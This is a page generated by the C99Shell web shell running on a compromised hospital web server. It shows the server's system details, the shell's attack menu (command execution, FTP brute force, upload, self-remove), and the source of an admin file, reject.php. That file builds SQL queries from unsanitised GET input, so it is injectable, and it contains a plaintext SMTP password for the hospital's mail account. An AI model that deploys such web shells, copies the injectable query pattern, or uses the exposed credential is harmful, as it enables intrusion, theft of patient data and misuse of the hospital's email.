!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/home/katebhospital/public_html/admin/   drwxr-xr-x
Free 984.23 GB of 3519.75 GB (27.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     reject.php (1.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php  
include('conn.php');
$updateQuery mysqli_query($con"UPDATE count_appo SET count_reject = count_reject + 1 WHERE id = 1");
$email1 $_GET['id'];   
$rejected "Rejected";
$update_query mysqli_query($con,"UPDATE appointments SET status='$rejected' WHERE email='$email1'");
?>

<?php
// Start session
require_once('conn.php');
use 
PHPMailer\PHPMailer\PHPMailer;
use 
PHPMailer\PHPMailer\Exception;
require_once 
'../Exception.php';
require_once 
'../PHPMailer.php';
require_once 
'../SMTP.php';

$email $_GET['id'];
$name $_POST['name'];
$password $_POST['password'];
$messageFromForm $_GET['message'];
$message "Your Appointment Rejected! پروسه تایین وقت شما تایید نشد<br>" $messageFromForm;
$message nl2br($message);

$mail = new PHPMailer;
$mail->isSMTP();
$mail->Host 'mail.katebhospital.af';
$mail->SMTPAuth true;
$mail->Username 'info@katebhospital.af';
$mail->Password 'QVwmlXxqnsDV';
$mail->SMTPSecure 'tls';
$mail->Port 587;
$mail->setFrom('info@katebhospital.af''Kateb Hospital');
$mail->addAddress($email$name);
$mail->Subject 'Appointment';
$mail->isHTML(true);
$mail->Body $message;
$mail->CharSet 'UTF-8';
$mail->Encoding 'base64'

if (!
$mail->send()) {
    
$error_message "Failed to send email. Please try again later.";
} else {
                    echo 
'<script>alert("Message send Successfully");</script>';
echo 
"<script>window.location.href = 'appointments.php'</script>";
    exit();
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1014 ]--